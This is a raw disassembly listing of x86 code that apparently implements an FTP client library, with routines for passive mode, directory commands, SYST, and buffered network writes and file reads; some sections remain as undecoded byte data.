var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 1C684D75h, 90004474h, 808419E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44753C68h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 44740C68h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0C680A75h, 0E9004474h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 44720Ch, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44753468h
		dd 5610EB00h, 9766E857h, 0C0850000h, 2C68217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44751068h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 0D54DE856h, 8B90777Fh,	8C483F0h, 2275F53Bh, 44740468h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 7404682Ch, 0E8900044h, 77808226h,	5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 0E8000001h,	777F0508h, 50008B90h, 80843DE8h
		dd 0C4839077h, 44C68304h, 0C5E85650h, 9077818Ch, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44759CBEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh,	14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0C4685752h,	90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447688
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		call	near ptr 77C47660h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476C8
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
